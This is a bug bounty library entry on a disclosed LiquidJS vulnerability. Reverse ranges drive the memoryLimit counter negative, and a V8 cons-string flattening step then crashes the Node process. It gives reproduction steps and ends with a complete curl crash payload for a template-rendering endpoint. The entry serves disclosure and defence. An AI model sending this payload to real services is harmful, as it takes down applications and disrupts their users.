# LiquidJS: memoryLimit Bypass through Negative Range Values Leads to Process Crash

LiquidJS memoryLimit counter goes negative via reverse ranges like (100000000..1), letting a 400-byte template build a 134MB cons-string and crash Node via V8 flattening.

- Payout: Research
- Severity: high
- Program: LiquidJS
- Found by: koDove
- Disclosed: 2026-03-25
- CVE: CVE-2026-33285
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-9r5m-9576-7f6x
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-9r5m-9576-7f6x
- Tags: area:web domain:oss domain:web impact:dos kind:research platform:ghsa sev:high tech:nodejs technique:chained technique:source-review vuln:business-logic vuln:dos

**Target:** Liquid template engine (npm liquidjs) memory limiter
**Root cause:** evalRangeToken calls memoryLimit.use(high - low + 1), which is negative for reverse ranges; Limiter.use adds it to base without a non-negative check, driving the counter negative so later allocations pass the limit assertion.
**Steps:**
1. Configure engine with `new Liquid({ memoryLimit: 1e8 })`.
2. Baseline: `{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}` is blocked with 'memory alloc limit exceeded'.
3. Bypass: prepend `{% for x in (100000000..1) %}{% endfor %}` twice, then the append loop; renders `134217728` despite the 100MB limit.
4. Crash: prepend five reverse-range loops, build the 27x append cons-string, then `{% assign flat = s | replace: 'A', 'B' %}`; V8 flattening triggers `Fatal JavaScript invalid size error 134217729` and process exits 133/SIGTRAP.
**How found:** Code reading of evalRangeToken and Limiter.use revealed no non-negative validation on the count, and the observation that reverse ranges produce negative deltas; then reasoning about V8 cons-string laziness to find a filter (replace) that forces flattening into a single oversized allocation.
**Exploitation:** Attacker controlling template source (CMS preview, newsletter editor, SaaS template endpoint) submits a ~400-byte Liquid payload: five reverse ranges drive the memory budget to -500M, 27 append iterations build a 134MB cons-string using negligible real memory, then a replace filter forces V8 to flatten it into a contiguous ~268MB UTF-16 buffer, causing an uncatchable C++ Fatal error that kills the Node process and all in-flight requests.
**Escalation:** Chaining the counter-poisoning primitive with V8 cons-string flattening converts a soft memory-limit bypass into an uncatchable process-level crash; repeated requests keep container restart policies in a perpetual crash loop.
**Insight:** Resource-limit counters that accept signed deltas can be driven negative by any expression yielding a negative size (reverse ranges, negative lengths); pair the bypass with a lazily-allocated structure (V8 cons-strings, ropes) plus a flattening operation to convert a soft limit bypass into an uncatchable native crash.

## Proof of concept (copied exactly from the original report)

**HTTP curl crash payload**

```
curl -s -X POST http://<app>/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = '\''A'\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{% assign flat = s | replace: '\''A'\'', '\''B'\'' %}{{ flat | size }}"}'
```

